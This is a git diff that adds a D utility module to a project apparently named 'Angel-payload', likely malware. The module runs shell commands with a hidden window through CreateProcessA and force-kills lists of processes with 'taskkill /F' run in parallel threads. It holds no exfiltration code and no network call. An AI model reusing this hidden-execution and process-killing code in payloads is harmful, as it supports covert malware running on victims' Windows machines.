Initiliazation

full/Angel-payload/angel/utils/utils.d

@@ -0,0 +1,81 @@
+module angel.utils.utils;
+
+// Internal imports
+import angel.utils.logging;
+// External imports
+import std.stdio;
+import std.process;
+import std.format;
+import core.thread.osthread;
+import core.sys.windows.windows;
+import std.conv : to;
+import std.range;
+import std.array;
+import std.string;
+import std.random;
+
+class Utils {
+    public static string generateRandomString(size_t length) {
+        string characters = "0123456789abcdefghijklmnopqrstuvwxyz";
+        auto rnd = Random();
+
+        auto randomChars = generate(() => characters[uniform(0, characters.length, rnd)]).take(length).array;
+    
+        return to!string(randomChars);
+    }
+
+    public static void execute(string command) {
+        STARTUPINFOA si;
+        PROCESS_INFORMATION pi;
+
+        si.cb = STARTUPINFO.sizeof;
+        si.dwFlags = STARTF_USESHOWWINDOW;
+        si.wShowWindow = SW_HIDE;
+
+        if (!CreateProcessA(
+            null,
+            cast(char*)command.ptr,
+            null,
+            null,
+            false,
+            0,
+            null,
+            null,
+            &si,
+            &pi
+        )) {
+            Logger.log(LogLevel.Error, format("Failed to create proc: %s", GetLastError()));
+            return;
+        }
+
+        WaitForSingleObject(pi.hProcess, INFINITE);
+        CloseHandle(pi.hProcess);
+        CloseHandle(pi.hThread);
+    }
+
+    private static void dieproc(string proc_name) {
+        Logger.log(LogLevel.Debug, format("Attempting to kill proc: %s", proc_name));
+        string command = format("cmd.exe /C taskkill /F /IM \"%s\"", proc_name);
+
+        execute(command);
+    }
+
+    public static void killproc(string[] ulist) {
+        Logger.log(LogLevel.Debug, format("Attempting to kill procs: %s", ulist));
+
+        Thread[] threads;
+
+        foreach (proc; ulist) {
+            auto t = new Thread(() => dieproc(proc));
+            threads ~= t;
+            t.start();
+            continue;
+        }
+
+        foreach (t; threads) {
+            joinLowLevelThread(t.id);
+        }
+
+        Logger.log(LogLevel.Debug, "All procs killed.");
+    }
+}